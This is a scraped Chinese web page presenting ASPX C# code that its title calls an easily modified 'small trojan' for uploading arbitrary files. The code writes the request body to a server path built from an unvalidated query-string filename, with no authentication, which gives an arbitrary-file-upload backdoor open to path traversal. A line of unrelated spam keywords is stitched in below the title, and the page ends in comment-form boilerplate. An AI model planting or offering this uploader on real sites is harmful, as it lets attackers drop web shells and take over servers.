Aspx 页面接收文件流 改改就成支持上传任意文件的小马了
baby一口乱牙 新剧全毁了?,甘蔗网造梦西游4无敌版,无主之地2 橙武支线
Aspx 页面接收文件流 改改就成支持上传任意文件的
小马了
upload2.
aspx
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
public partial class upload2 : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (Request.QueryString.Count > 0)
{
string filename = Request.QueryString["filename"];
Encoding myEncoding = Encoding.GetEncoding("utf-8");
//接收传递过来的数据流
Stream resStream = Request.InputStream;
byte[] filecontent = new byte[resStream.Length];
//将数据流读入byte数组
resStream.Read(filecontent, 0, filecontent.Length);
//数组转换为string以便转换base64使用
string a = myEncoding.GetString(filecontent);
//将string读取base64解密到byte数组
//byte[] filecontent2 = Convert.FromBase64String(a);
//写入目录
File.WriteAllBytes(Server.MapPath("~/upload/" + filename ), filecontent);
//返回值
//Response.Write("ok");
Response.End();
}
}
}
如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!!
点击进行留言回复
网友评论